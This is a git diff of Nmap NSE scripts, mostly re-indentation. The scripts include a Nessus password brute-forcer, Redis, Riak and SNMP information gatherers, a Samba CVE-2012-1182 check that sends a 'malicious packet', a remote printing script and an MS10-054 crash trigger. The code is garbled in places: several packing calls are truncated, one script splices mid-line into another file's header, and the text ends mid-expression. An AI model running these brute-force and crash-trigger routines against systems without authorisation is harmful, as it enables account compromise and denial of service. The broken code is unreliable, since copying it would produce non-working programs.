b/scripts/nessus-brute.nse @@ -39,115 +39,115 @@ portrule = shortport.port_or_service(1241, "nessus", "tcp") Driver = { - new = function(self, host, port) - local o = { host = host, port = port } - setmetatable(o, self) - self.__index = self - return o - end, + new = function(self, host, port) + local o = { host = host, port = port } + setmetatable(o, self) + self.__index = self + return o + end, - connect = function( self ) - self.socket = nmap.new_socket() - if ( not(self.socket:connect(self.host, self.port, "ssl")) ) then - return false - end - return true - end, + connect = function( self ) + self.socket = nmap.new_socket() + if ( not(self.socket:connect(self.host, self.port, "ssl")) ) then + return false + end + return true + end, - login = function( self, username, password ) - local handshake = "< NTP/1.2 >< plugins_cve_id plugins_version timestamps dependencies fast_login >\n" + login = function( self, username, password ) + local handshake = "< NTP/1.2 >< plugins_cve_id plugins_version timestamps dependencies fast_login >\n" - local status, err = self.socket:send(handshake) - if ( not(status) ) then - local err = brute.Error:new( "Failed to send handshake to server" ) - err:setAbort(true) - return false, err - end + local status, err = self.socket:send(handshake) + if ( not(status) ) then + local err = brute.Error:new( "Failed to send handshake to server" ) + err:setAbort(true) + return false, err + end - local line - status, line = self.socket:receive_buf("\r?\n", false) - if ( not(status) or line ~= "< NTP/1.2 >" ) then - local err = brute.Error:new( "The server failed to respond to handshake" ) - err:setAbort( true ) - return false, err - end + local line + status, line = self.socket:receive_buf("\r?\n", false) + if ( not(status) or line ~= "< NTP/1.2 >" ) then + local err = brute.Error:new( "The server failed to respond to handshake" ) + err:setAbort( true ) + return false, err + end - status, line = self.socket:receive() - if ( not(status) or line ~= "User : ") then - local err = brute.Error:new( "Expected \"User : \", got something else" ) - err:setRetry( true ) - return false, err - end + status, line = self.socket:receive() + if ( not(status) or line ~= "User : ") then + local err = brute.Error:new( "Expected \"User : \", got something else" ) + err:setRetry( true ) + return false, err + end - status = self.socket:send(username .. "\n") - if ( not(status) ) then - local err = brute.Error:new( "Failed to send username to server" ) - err:setAbort( true ) - return false, err - end + status = self.socket:send(username .. "\n") + if ( not(status) ) then + local err = brute.Error:new( "Failed to send username to server" ) + err:setAbort( true ) + return false, err + end - status, line = self.socket:receive() - if ( not(status) or line ~= "Password : ") then - local err = brute.Error:new( "Expected \"Password : \", got something else" ) - err:setRetry( true ) - return false, err - end + status, line = self.socket:receive() + if ( not(status) or line ~= "Password : ") then + local err = brute.Error:new( "Expected \"Password : \", got something else" ) + err:setRetry( true ) + return false, err + end - status = self.socket:send(password) - if ( not(status) ) then - local err = brute.Error:new( "Failed to send password to server" ) - err:setAbort( true ) - return false, err - end + status = self.socket:send(password) + if ( not(status) ) then + local err = brute.Error:new( "Failed to send password to server" ) + err:setAbort( true ) + return false, err + end - -- the line feed has to be sent separate like this, otherwise we don't - -- receive the server response and the server simply hangs up - status = self.socket:send("\n") - if ( not(status) ) then - local err = brute.Error:new( "Failed to send password to server" ) - err:setAbort( true ) - return false, err - end + -- the line feed has to be sent separate like this, otherwise we don't + -- receive the server response and the server simply hangs up + status = self.socket:send("\n") + if ( not(status) ) then + local err = brute.Error:new( "Failed to send password to server" ) + err:setAbort( true ) + return false, err + end - -- we force a brief incorrect statement just to get an error message to - -- confirm that we've succesfully authenticated to the server - local bad_cli_pref = "CLIENT <|> PREFERENCES <|>\n<|> CLIENT\n" - status = self.socket:send(bad_cli_pref) - if ( not(status) ) then - local err = brute.Error:new( "Failed to send bad client preferences packet to server" ) - err:setAbort( true ) - return false, err - end + -- we force a brief incorrect statement just to get an error message to + -- confirm that we've succesfully authenticated to the server + local bad_cli_pref = "CLIENT <|> PREFERENCES <|>\n<|> CLIENT\n" + status = self.socket:send(bad_cli_pref) + if ( not(status) ) then + local err = brute.Error:new( "Failed to send bad client preferences packet to server" ) + err:setAbort( true ) + return false, err + end - -- if the server disconnects us at this point, it's most likely due to - -- that the authentication failed, so simply treat it as an incorrect - -- password, rather than abort. - status, line = self.socket:receive() - if ( not(status) ) then - return false, brute.Error:new( "Incorrect password" ) - end + -- if the server disconnects us at this point, it's most likely due to + -- that the authentication failed, so simply treat it as an incorrect + -- password, rather than abort. + status, line = self.socket:receive() + if ( not(status) ) then + return false, brute.Error:new( "Incorrect password" ) + end - if ( line:match("SERVER <|> PREFERENCES_ERRORS <|>") ) then - return true, brute.Account:new(username, password, creds.State.VALID) - end + if ( line:match("SERVER <|> PREFERENCES_ERRORS <|>") ) then + return true, brute.Account:new(username, password, creds.State.VALID) + end - return false, brute.Error:new( "Incorrect password" ) - end, + return false, brute.Error:new( "Incorrect password" ) + end, - disconnect = function( self ) - self.socket:close() - end, + disconnect = function( self ) + self.socket:close() + end, } action = function(host, port) - local engine = brute.Engine:new(Driver, host, port) - engine.options.script_name = SCRIPT_NAME + local engine = brute.Engine:new(Driver, host, port) + engine.options.script_name = SCRIPT_NAME - -- the nessus service doesn't appear to do very well with multiple threads - engine:setMaxThreads(1) - local status, result = engine:start() + -- the nessus service doesn't appear to do very well with multiple threads + engine:setMaxThreads(1) + local status, result = engine:start() - return result + return result end diff --git a/scripts/redis-info.nse b/scripts/redis-info.nse index 4a51af4a3..f69bdea39 100644 --- a/scripts/redis-info.nse +++ b/scripts/redis-info.nse @@ -40,103 +40,103 @@ portrule = shortport.port_or_service(6379, "redis") local function fail(err) return ("\n ERROR: %s"):format(err) end local function cb_parse_version(host, port, val) - port.version.version = val - port.version.cpe = port.version.cpe or {} - table.insert(port.version.cpe, 'cpe:/a:redis:redis:' .. val) - nmap.set_port_version(host, port) - return val + port.version.version = val + port.version.cpe = port.version.cpe or {} + table.insert(port.version.cpe, 'cpe:/a:redis:redis:' .. val) + nmap.set_port_version(host, port) + return val end local function cb_parse_architecture(host, port, val) - val = ("%s bits"):format(val) - port.version.extrainfo = val - nmap.set_port_version(host, port) - return val + val = ("%s bits"):format(val) + port.version.extrainfo = val + nmap.set_port_version(host, port) + return val end local filter = { - ["redis_version"] = { name = "Version", func = cb_parse_version }, - ["os"] = { name = "Operating System" }, - ["arch_bits"] = { name = "Architecture", func = cb_parse_architecture }, - ["process_id"] = { name = "Process ID"}, - ["uptime"] = { name = "Uptime", func = function(h, p, v) return ("%s seconds"):format(v) end }, - ["used_cpu_sys"]= { name = "Used CPU (sys)"}, - ["used_cpu_user"] = { name = "Used CPU (user)"}, - ["connected_clients"] = { name = "Connected clients"}, - ["connected_slaves"] = { name = "Connected slaves"}, - ["used_memory_human"] = { name = "Used memory"}, - ["role"] = { name = "Role"} + ["redis_version"] = { name = "Version", func = cb_parse_version }, + ["os"] = { name = "Operating System" }, + ["arch_bits"] = { name = "Architecture", func = cb_parse_architecture }, + ["process_id"] = { name = "Process ID"}, + ["uptime"] = { name = "Uptime", func = function(h, p, v) return ("%s seconds"):format(v) end }, + ["used_cpu_sys"]= { name = "Used CPU (sys)"}, + ["used_cpu_user"] = { name = "Used CPU (user)"}, + ["connected_clients"] = { name = "Connected clients"}, + ["connected_slaves"] = { name = "Connected slaves"}, + ["used_memory_human"] = { name = "Used memory"}, + ["role"] = { name = "Role"} } local order = { - "redis_version", "os", "arch_bits", "process_id", "used_cpu_sys", - "used_cpu_user", "connected_clients", "connected_slaves", - "used_memory_human", "role" + "redis_version", "os", "arch_bits", "process_id", "used_cpu_sys", + "used_cpu_user", "connected_clients", "connected_slaves", + "used_memory_human", "role" } action = function(host, port) - local helper = redis.Helper:new(host, port) - local status = helper:connect() - if( not(status) ) then - return fail("Failed to connect to server") - end + local helper = redis.Helper:new(host, port) + local status = helper:connect() + if( not(status) ) then + return fail("Failed to connect to server") + end - -- do we have a service password - local c = creds.Credentials:new(creds.ALL_DATA, host, port) - local cred = c:getCredentials(creds.State.VALID + creds.State.PARAM)() + -- do we have a service password + local c = creds.Credentials:new(creds.ALL_DATA, host, port) + local cred = c:getCredentials(creds.State.VALID + creds.State.PARAM)() - if ( cred and cred.pass ) then - local status, response = helper:reqCmd("AUTH", cred.pass) - if ( not(status) ) then - helper:close() - return fail(response) - end - end + if ( cred and cred.pass ) then + local status, response = helper:reqCmd("AUTH", cred.pass) + if ( not(status) ) then + helper:close() + return fail(response) + end + end - local status, response = helper:reqCmd("INFO") - if ( not(status) ) then - helper:close() - return fail(response) - end - helper:close() + local status, response = helper:reqCmd("INFO") + if ( not(status) ) then + helper:close() + return fail(response) + end + helper:close() - if ( redis.Response.Type.ERROR == response.type ) then - if ( "-ERR operation not permitted" == response.data ) or - ( "-NOAUTH Authentication required." == response.data ) then - return fail("Authentication required") - end - return fail(response.data) - end + if ( redis.Response.Type.ERROR == response.type ) then + if ( "-ERR operation not permitted" == response.data ) or + ( "-NOAUTH Authentication required." == response.data ) then + return fail("Authentication required") + end + return fail(response.data) + end - local restab = stdnse.strsplit("\r\n", response.data) - if ( not(restab) or 0 == #restab ) then - return fail("Failed to parse response from server") - end + local restab = stdnse.strsplit("\r\n", response.data) + if ( not(restab) or 0 == #restab ) then + return fail("Failed to parse response from server") + end - local kvs = {} - for _, item in ipairs(restab) do - local k, v = item:match("^([^:]*):(.*)$") - if k ~= nil then - kvs[k] = v - end - end + local kvs = {} + for _, item in ipairs(restab) do + local k, v = item:match("^([^:]*):(.*)$") + if k ~= nil then + kvs[k] = v + end + end - local result = tab.new(2) - for _, item in ipairs(order) do - if kvs[item] then - local name = filter[item].name - local val + local result = tab.new(2) + for _, item in ipairs(order) do + if kvs[item] then + local name = filter[item].name + local val - if filter[item].func then - val = filter[item].func(host, port, kvs[item]) - else - val = kvs[item] - end - tab.addrow(result, name, val) - end - end - return stdnse.format_output(true, tab.dump(result)) + if filter[item].func then + val = filter[item].func(host, port, kvs[item]) + else + val = kvs[item] + end + tab.addrow(result, name, val) + end + end + return stdnse.format_output(true, tab.dump(result)) end diff --git a/scripts/riak-http-info.nse b/scripts/riak-http-info.nse index eb7eeca01..2dc9c3d64 100644 --- a/scripts/riak-http-info.nse +++ b/scripts/riak-http-info.nse @@ -57,49 +57,49 @@ categories = {"discovery", "safe"} portrule = shortport.port_or_service(8098, "http") local filter = { - ["sys_system_architecture"] = { name = "Architecture" }, - ["mem_total"] = { name = "Total Memory" }, - ["crypto_version"] = { name = "Crypto version" }, - ["skerl_version"] = { name = "Skerl version" }, - ["os_mon_version"] = { name = "OS mon. version" }, - ["nodename"] = { name = "Node name" }, - ["basho_stats_version"] = { name = "Basho version" }, - ["lager_version"] = { name = "Lager version" }, - ["cluster_info_version"] = { name = "Cluster info version" }, - ["luke_version"] = { name = "Luke version" }, - ["sasl_version"] = { name = "SASL version" }, - ["sys_driver_version"] = { name = "System driver version" }, - ["bitcask_version"] = { name = "Bitcask version" }, - ["riak_search_version"] = { name = "Riak search version" }, - ["kernel_version"] = { name = "Riak kernel version" }, - ["stdlib_version"] = { name = "Riak stdlib version" }, - ["basho_metrics_version"] = { name = "Basho metrics version" }, - ["webmachine_version"] = { name = "WebMachine version" }, - ["public_key_version"] = { name = "Public key version" }, - ["riak_core_version"] = { name = "Riak vore version" }, - ["riak_pipe_version"] = { name = "Riak pipe version" }, - ["runtime_tools_version"] = { name = "Runtime tools version" }, - ["ssl_version"] = { name = "SSL version" }, - ["mochiweb_version"] = { name = "MochiWeb version"}, - ["erlang_js_version"] = { name = "Erlang JavaScript version" }, - ["riak_kv_version"] = { name = "Riak kv version" }, - ["luwak_version"] = { name = "Luwak version"}, - ["merge_index_version"] = { name = "Merge index version" }, - ["inets_version"] = { name = "Inets version" }, - ["storage_backend"] = { name = "Storage backend" }, - ["riak_sysmon_version"] = { name = "Riak sysmon version" }, + ["sys_system_architecture"] = { name = "Architecture" }, + ["mem_total"] = { name = "Total Memory" }, + ["crypto_version"] = { name = "Crypto version" }, + ["skerl_version"] = { name = "Skerl version" }, + ["os_mon_version"] = { name = "OS mon. version" }, + ["nodename"] = { name = "Node name" }, + ["basho_stats_version"] = { name = "Basho version" }, + ["lager_version"] = { name = "Lager version" }, + ["cluster_info_version"] = { name = "Cluster info version" }, + ["luke_version"] = { name = "Luke version" }, + ["sasl_version"] = { name = "SASL version" }, + ["sys_driver_version"] = { name = "System driver version" }, + ["bitcask_version"] = { name = "Bitcask version" }, + ["riak_search_version"] = { name = "Riak search version" }, + ["kernel_version"] = { name = "Riak kernel version" }, + ["stdlib_version"] = { name = "Riak stdlib version" }, + ["basho_metrics_version"] = { name = "Basho metrics version" }, + ["webmachine_version"] = { name = "WebMachine version" }, + ["public_key_version"] = { name = "Public key version" }, + ["riak_core_version"] = { name = "Riak vore version" }, + ["riak_pipe_version"] = { name = "Riak pipe version" }, + ["runtime_tools_version"] = { name = "Runtime tools version" }, + ["ssl_version"] = { name = "SSL version" }, + ["mochiweb_version"] = { name = "MochiWeb version"}, + ["erlang_js_version"] = { name = "Erlang JavaScript version" }, + ["riak_kv_version"] = { name = "Riak kv version" }, + ["luwak_version"] = { name = "Luwak version"}, + ["merge_index_version"] = { name = "Merge index version" }, + ["inets_version"] = { name = "Inets version" }, + ["storage_backend"] = { name = "Storage backend" }, + ["riak_sysmon_version"] = { name = "Riak sysmon version" }, } local order = { - "nodename", "sys_system_architecture", "storage_backend", "mem_total", - "crypto_version", "skerl_version", "os_mon_version", "basho_stats_version", - "lager_version", "cluster_info_version", "luke_version", "sasl_version", - "sys_driver_version", "bitcask_version", "riak_search_version", - "kernel_version", "stdlib_version", "basho_metrics_version", - "webmachine_version", "public_key_version", "riak_core_version", - "riak_pipe_version", "runtime_tools_version", "ssl_version", - "mochiweb_version", "erlang_js_version", "riak_kv_version", - "luwak_version", "merge_index_version", "inets_version", "riak_sysmon_version" + "nodename", "sys_system_architecture", "storage_backend", "mem_total", + "crypto_version", "skerl_version", "os_mon_version", "basho_stats_version", + "lager_version", "cluster_info_version", "luke_version", "sasl_version", + "sys_driver_version", "bitcask_version", "riak_search_version", + "kernel_version", "stdlib_version", "basho_metrics_version", + "webmachine_version", "public_key_version", "riak_core_version", + "riak_pipe_version", "runtime_tools_version", "ssl_version", + "mochiweb_version", "erlang_js_version", "riak_kv_version", + "luwak_version", "merge_index_version", "inets_version", "riak_sysmon_version" } @@ -107,39 +107,39 @@ local function fail(err) return ("\n ERROR: %s"):format(err) end action = function(host, port) - local response = http.get(host, port, "/stats") + local response = http.get(host, port, "/stats") - if ( not(response) or response.status ~= 200 ) then - return - end + if ( not(response) or response.status ~= 200 ) then + return + end - -- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests - local _, http_status, _ = http.identify_404(host,port) - if ( http_status == 200 ) then - stdnse.print_debug(1, "%s: Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", SCRIPT_NAME, host.ip, port.number) - return false - end + -- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests + local _, http_status, _ = http.identify_404(host,port) + if ( http_status == 200 ) then + stdnse.print_debug(1, "%s: Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", SCRIPT_NAME, host.ip, port.number) + return false + end - -- Silently abort if the server responds as anything different than - -- MochiWeb - if ( response.header['server'] and - not(response.header['server']:match("MochiWeb")) ) then - return - end + -- Silently abort if the server responds as anything different than + -- MochiWeb + if ( response.header['server'] and + not(response.header['server']:match("MochiWeb")) ) then + return + end - local status, parsed = json.parse(response.body) - if ( not(status) ) then - return fail("Failed to parse response") - end + local status, parsed = json.parse(response.body) + if ( not(status) ) then + return fail("Failed to parse response") + end - local result = tab.new(2) - for _, item in ipairs(order) do - if ( parsed[item] ) then - local name = filter[item].name - local val = ( filter[item].func and filter[item].func(parsed[item]) or parsed[item] ) - tab.addrow(result, name, val) - end - end - return stdnse.format_output(true, tab.dump(result)) + local result = tab.new(2) + for _, item in ipairs(order) do + if ( parsed[item] ) then + local name = filter[item].name + local val = ( filter[item].func and filter[item].func(parsed[item]) or parsed[item] ) + tab.addrow(result, name, val) + end + end + return stdnse.format_output(true, tab.dump(result)) -end \ No newline at end of file +end diff --git a/scripts/samba-vuln-cve-2012-1182.nse b/scripts/samba-vuln-cve-2012-1182.nse index 456352582..3ed7b0932 100644 --- a/scripts/samba-vuln-cve-2012-1182.nse +++ b/scripts/samba-vuln-cve-2012-1182.nse @@ -62,69 +62,69 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html" categories = {"vuln","intrusive"} hostrule = function(host) - return smb.get_port(host) ~= nil + return smb.get_port(host) ~= nil end action = function(host,port) - local result, stats - local response = {} + local result, stats + local response = {} - local samba_cve = { - title = "SAMBA remote heap overflow", - IDS = {CVE = 'CVE-2012-1182'}, - risk_factor = "HIGH", - scores = { - CVSSv2 = "10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)", - }, - description = [[ + local samba_cve = { + title = "SAMBA remote heap overflow", + IDS = {CVE = 'CVE-2012-1182'}, + risk_factor = "HIGH", + scores = { + CVSSv2 = "10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)", + }, + description = [[ Samba versions 3.6.3 and all versions previous to this are affected by a vulnerability that allows remote code execution as the "root" user from an anonymous connection. - ]], - references = { - 'http://www.samba.org/samba/security/CVE-2012-1182', - }, - dates = { - disclosure = {year = '2012', month = '03', day = '15'}, - }, - exploit_results = {}, - } +]], + references = { + 'http://www.samba.org/samba/security/CVE-2012-1182', + }, + dates = { + disclosure = {year = '2012', month = '03', day = '15'}, + }, + exploit_results = {}, + } - local report = vulns.Report:new(SCRIPT_NAME, host, port) - samba_cve.state = vulns.STATE.NOT_VULN + local report = vulns.Report:new(SCRIPT_NAME, host, port) + samba_cve.state = vulns.STATE.NOT_VULN - -- create SMB session - local status, smbstate - status, smbstate = msrpc.start_smb(host, msrpc.SAMR_PATH,true) - if(status == false) then - return false, smbstate - end + -- create SMB session + local status, smbstate + status, smbstate = msrpc.start_smb(host, msrpc.SAMR_PATH,true) + if(status == false) then + return false, smbstate + end - -- bind to SAMR service - local bind_result - status, bind_result = msrpc.bind(smbstate, msrpc.SAMR_UUID, msrpc.SAMR_VERSION, nil) - if(status == false) then - msrpc.stop_smb(smbstate) - return false, bind_result - end + -- bind to SAMR service + local bind_result + status, bind_result = msrpc.bind(smbstate, msrpc.SAMR_UUID, msrpc.SAMR_VERSION, nil) + if(status == false) then + msrpc.stop_smb(smbstate) + return false, bind_result + end - -- create malicious packet, same as in the PoC - local data = bin.pack("smbuser and -- |_smb-print-text: Printer job started using MyPrinter printer share. -- -- @args printer Printer share name. Optional, by default script tries to enumerate available printer shares. --- @args text Text to print. Either text or filename need to be specified. +-- @args text Text to print. Either text or filename need to be specified. -- @args filename File to read text from (ASCII only). -- @@ -37,98 +37,98 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html" categories = {"intrusive"} hostrule = function(host) - return smb.get_port(host) ~= nil + return smb.get_port(host) ~= nil end action = function(host,port) - local status, smbstate - local text = stdnse.get_script_args(SCRIPT_NAME .. '.text') - local filename = stdnse.get_script_args(SCRIPT_NAME .. '.filename') - if (not text) and (not filename) then - stdnse.print_debug("Script requires either text or filename script argument.") - return false - end - local text_to_print - if text then - text_to_print = text - else - -- read text from file - local file = io.open(filename, "rb") - text_to_print = file:read("*all") - end - status, smbstate = msrpc.start_smb(host, msrpc.SPOOLSS_PATH,true) - if(status == false) then - stdnse.print_debug("SMB: " .. smbstate) - return false, smbstate - end + local status, smbstate + local text = stdnse.get_script_args(SCRIPT_NAME .. '.text') + local filename = stdnse.get_script_args(SCRIPT_NAME .. '.filename') + if (not text) and (not filename) then + stdnse.print_debug("Script requires either text or filename script argument.") + return false + end + local text_to_print + if text then + text_to_print = text + else + -- read text from file + local file = io.open(filename, "rb") + text_to_print = file:read("*all") + end + status, smbstate = msrpc.start_smb(host, msrpc.SPOOLSS_PATH,true) + if(status == false) then + stdnse.print_debug("SMB: " .. smbstate) + return false, smbstate + end - local bind_result - status, bind_result = msrpc.bind(smbstate,msrpc.SPOOLSS_UUID, msrpc.SPOOLSS_VERSION, nil) - if(status == false) then - msrpc.stop_smb(smbstate) - stdnse.print_debug("SMB: " .. bind_result) - return false, bind_result - end - local printer = stdnse.get_script_args(SCRIPT_NAME .. '.printer') - -- if printer not set find available printers - if not printer then - stdnse.print_debug("No printer specified, trying to find one...") - local lanman_result - local REMSmb_NetShareEnum_P = "WrLeh" - local REMSmb_share_info_1 = "B13BWz" - status, lanman_result = msrpc.call_lanmanapi(smbstate,0,REMSmb_NetShareEnum_P,REMSmb_share_info_1,bin.pack("ss",0x01,65406)) - if status == false then - stdnse.print_debug("SMB: " .. lanman_result) - stdnse.print_debug("SMB: Looks like LANMAN API is not available. Try setting printer script arg.") - return false - end + local bind_result + status, bind_result = msrpc.bind(smbstate,msrpc.SPOOLSS_UUID, msrpc.SPOOLSS_VERSION, nil) + if(status == false) then + msrpc.stop_smb(smbstate) + stdnse.print_debug("SMB: " .. bind_result) + return false, bind_result + end + local printer = stdnse.get_script_args(SCRIPT_NAME .. '.printer') + -- if printer not set find available printers + if not printer then + stdnse.print_debug("No printer specified, trying to find one...") + local lanman_result + local REMSmb_NetShareEnum_P = "WrLeh" + local REMSmb_share_info_1 = "B13BWz" + status, lanman_result = msrpc.call_lanmanapi(smbstate,0,REMSmb_NetShareEnum_P,REMSmb_share_info_1,bin.pack("ss",0x01,65406)) + if status == false then + stdnse.print_debug("SMB: " .. lanman_result) + stdnse.print_debug("SMB: Looks like LANMAN API is not available. Try setting printer script arg.") + return false + end - local parameters = lanman_result.parameters - local data = lanman_result.data - local pos, status, convert, entry_count, available_entries = bin.unpack("s",data,pos+14) - pos, name = bin.unpack("s",data,pos+14) + pos, name = bin.unpack(" printer share.", printer) + return string.format("Printer job started using <%s> printer share.", printer) end diff --git a/scripts/smb-vuln-ms10-054.nse b/scripts/smb-vuln-ms10-054.nse index 36dac246c..cc66e32d3 100644 --- a/scripts/smb-vuln-ms10-054.nse +++ b/scripts/smb-vuln-ms10-054.nse @@ -45,102 +45,102 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html" categories = {"vuln","intrusive","dos"} hostrule = function(host) - return smb.get_port(host) ~= nil + return smb.get_port(host) ~= nil end -- stolen from smb.lua as max data count needed to be modified to trigger the crash local function send_transaction2(smbstate, sub_command, function_parameters) - local header, parameters, data, command - local parameter_offset = 0 - local parameter_size = 0 - local data_offset = 0 - local data_size = 0 - local total_word_count, total_data_count, reserved1, parameter_count, parameter_displacement, data_count, data_displacement, setup_count, reserved2 - local response = {} + local header, parameters, data, command + local parameter_offset = 0 + local parameter_size = 0 + local data_offset = 0 + local data_size = 0 + local total_word_count, total_data_count, reserved1, parameter_count, parameter_displacement, data_count, data_displacement, setup_count, reserved2 + local response = {} - -- Header is 0x20 bytes long (not counting NetBIOS header). - header = smb.smb_encode_header(smbstate, smb.command_codes['SMB_COM_TRANSACTION2'], {}) -- 0x32 = SMB_COM_TRANSACTION2 + -- Header is 0x20 bytes long (not counting NetBIOS header). + header = smb.smb_encode_header(smbstate, smb.command_codes['SMB_COM_TRANSACTION2'], {}) -- 0x32 = SMB_COM_TRANSACTION2 - if(function_parameters) then - parameter_offset = 0x44 - parameter_size = #function_parameters - data_offset = #function_parameters + 33 + 32 - end + if(function_parameters) then + parameter_offset = 0x44 + parameter_size = #function_parameters + data_offset = #function_parameters + 33 + 32 + end - -- Parameters are 0x20 bytes long. - parameters = bin.pack("stdnse.format_output function process_answer( tbl ) - local swrun_name = "1.3.6.1.2.1.25.4.2.1.2" - local swrun_pid = "1.3.6.1.2.1.25.4.2.1.1" - local swrun_path = "1.3.6.1.2.1.25.4.2.1.4" - local swrun_params = "1.3.6.1.2.1.25.4.2.1.5" - local new_tbl = {} + local swrun_name = "1.3.6.1.2.1.25.4.2.1.2" + local swrun_pid = "1.3.6.1.2.1.25.4.2.1.1" + local swrun_path = "1.3.6.1.2.1.25.4.2.1.4" + local swrun_params = "1.3.6.1.2.1.25.4.2.1.5" + local new_tbl = {} - for _, v in ipairs( tbl ) do + for _, v in ipairs( tbl ) do - if ( v.oid:match("^" .. swrun_name) ) then - local item = {} - local objid = v.oid:gsub( "^" .. swrun_name, swrun_path) - local value = get_value_from_table( tbl, objid ) + if ( v.oid:match("^" .. swrun_name) ) then + local item = {} + local objid = v.oid:gsub( "^" .. swrun_name, swrun_path) + local value = get_value_from_table( tbl, objid ) - if value and value:len() > 0 then - table.insert( item, ("Path: %s"):format( value ) ) - end + if value and value:len() > 0 then + table.insert( item, ("Path: %s"):format( value ) ) + end - objid = v.oid:gsub( "^" .. swrun_name, swrun_params) - value = get_value_from_table( tbl, objid ) + objid = v.oid:gsub( "^" .. swrun_name, swrun_params) + value = get_value_from_table( tbl, objid ) - if value and value:len() > 0 then - table.insert( item, ("Params: %s"):format( value ) ) - end + if value and value:len() > 0 then + table.insert( item, ("Params: %s"):format( value ) ) + end - objid = v.oid:gsub( "^" .. swrun_name, swrun_pid) - value = get_value_from_table( tbl, objid ) + objid = v.oid:gsub( "^" .. swrun_name, swrun_pid) + value = get_value_from_table( tbl, objid ) - if value then - table.insert( item, ("PID: %s"):format( value ) ) - end + if value then + table.insert( item, ("PID: %s"):format( value ) ) + end - item.name = v.value - table.insert( item, value ) - table.insert( new_tbl, item ) - end + item.name = v.value + table.insert( item, value ) + table.insert( new_tbl, item ) + end - end + end - return new_tbl + return new_tbl end action = function(host, port) - local socket = nmap.new_socket() - local catch = function() socket:close() end - local try = nmap.new_try(catch) - local data, snmpoid = nil, "1.3.6.1.2.1.25.4.2" - local shares = {} - local status + local socket = nmap.new_socket() + local catch = function() socket:close() end + local try = nmap.new_try(catch) + local data, snmpoid = nil, "1.3.6.1.2.1.25.4.2" + local shares = {} + local status - socket:set_timeout(5000) - try(socket:connect(host, port)) + socket:set_timeout(5000) + try(socket:connect(host, port)) - status, shares = snmp.snmpWalk( socket, snmpoid ) - socket:close() + status, shares = snmp.snmpWalk( socket, snmpoid ) + socket:close() - if (not(status)) or ( shares == nil ) or ( #shares == 0 ) then - return - end + if (not(status)) or ( shares == nil ) or ( #shares == 0 ) then + return + end - shares = process_answer( shares ) + shares = process_answer( shares ) - nmap.set_port_state(host, port, "open") + nmap.set_port_state(host, port, "open") - return stdnse.format_output( true, shares ) + return stdnse.format_output( true, shares ) end diff --git a/scripts/ssl-date.nse b/scripts/ssl-date.nse index 1d19b166f..84cc9d516 100644 --- a/scripts/ssl-date.nse +++ b/scripts/ssl-date.nse @@ -24,7 +24,7 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html" categories = {"discovery", "safe", "default"} portrule = function(host, port) - return shortport.ssl(host, port) or sslcert.isPortSupported(port) + return shortport.ssl(host, port) or sslcert.isPortSupported(port) end @@ -52,94 +52,94 @@ end --@return status true if response, false else. --@return response if status is true. local client_hello = function(host, port) - local sock, status, response, err, cli_h + local sock, status, response, err, cli_h - -- Craft Client Hello - cli_h = tls.client_hello({ - ["protocol"] = "TLSv1.0", - ["ciphers"] = { - "TLS_ECDHE_RSA_WITH_RC4_128_SHA", - "TLS_DHE_RSA_WITH_AES_256_CBC_SHA", - "TLS_RSA_WITH_RC4_128_MD5", - }, - ["compressors"] = {"NULL"}, - }) + -- Craft Client Hello + cli_h = tls.client_hello({ + ["protocol"] = "TLSv1.0", + ["ciphers"] = { + "TLS_ECDHE_RSA_WITH_RC4_128_SHA", + "TLS_DHE_RSA_WITH_AES_256_CBC_SHA", + "TLS_RSA_WITH_RC4_128_MD5", + }, + ["compressors"] = {"NULL"}, + }) - -- Connect to the target server - local specialized_function = sslcert.getPrepareTLSWithoutReconnect(port) + -- Connect to the target server + local specialized_function = sslcert.getPrepareTLSWithoutReconnect(port) - if not specialized_function then - sock = nmap.new_socket() - sock:set_timeout(5000) - status, err = sock:connect(host, port) - if not status then - sock:close() - stdnse.print_debug("Can't send: %s", err) - return false - end - else - status,sock = specialized_function(host,port) - if not status then - return false - end - end - - - -- Send Client Hello to the target server - status, err = sock:send(cli_h) + if not specialized_function then + sock = nmap.new_socket() + sock:set_timeout(5000) + status, err = sock:connect(host, port) if not status then - stdnse.print_debug("Couldn't send: %s", err) - sock:close() - return false + sock:close() + stdnse.print_debug("Can't send: %s", err) + return false end - - -- Read response - status, response, err = tls.record_buffer(sock) + else + status,sock = specialized_function(host,port) if not status then - stdnse.print_debug("Couldn't receive: %s", err) - sock:close() - return false + return false end + end - return true, response + + -- Send Client Hello to the target server + status, err = sock:send(cli_h) + if not status then + stdnse.print_debug("Couldn't send: %s", err) + sock:close() + return false + end + + -- Read response + status, response, err = tls.record_buffer(sock) + if not status then + stdnse.print_debug("Couldn't receive: %s", err) + sock:close() + return false + end + + return true, response end -- extract time from ServerHello response local extract_time = function(response) - local i, record = tls.record_read(response, 0) - if record == nil then - stdnse.print_debug("%s: Unknown response from server", SCRIPT_NAME) - return nil - end + local i, record = tls.record_read(response, 0) + if record == nil then + stdnse.print_debug("%s: Unknown response from server", SCRIPT_NAME) + return nil + end - if record.type == "handshake" then - for _, body in ipairs(record.body) do - if body.type == "server_hello" then - return true, body.time - end + if record.type == "handshake" then + for _, body in ipairs(record.body) do + if body.type == "server_hello" then + return true, body.time end end - stdnse.print_debug("%s: Server response was not server_hello", SCRIPT_NAME) - return nil + end + stdnse.print_debug("%s: Server response was not server_hello", SCRIPT_NAME) + return nil end action = function(host, port) - local status, response + local status, response - -- Send crafted client hello - status, response = client_hello(host, port) - local now = os.time() - if status and response then - -- extract time from response - local result - status, result = extract_time(response) - if status then - local output = { - date = stdnse.format_timestamp(result, 0), - delta = os.difftime(result, now), - } - return output, string.format("%s; %s from local time.", output.date, - stdnse.format_difftime(os.date("!*t",result),os.date("!*t", now))) - end - end + -- Send crafted client hello + status, response = client_hello(host, port) + local now = os.time() + if status and response then + -- extract time from response + local result + status, result = extract_time(response) + if status then + local output = { + date = stdnse.format_timestamp(result, 0), + delta = os.difftime(result, now), + } + return output, string.format("%s; %s from local time.", output.date, + stdnse.format_difftime(os.date("!*t",result),os.date("!*t", 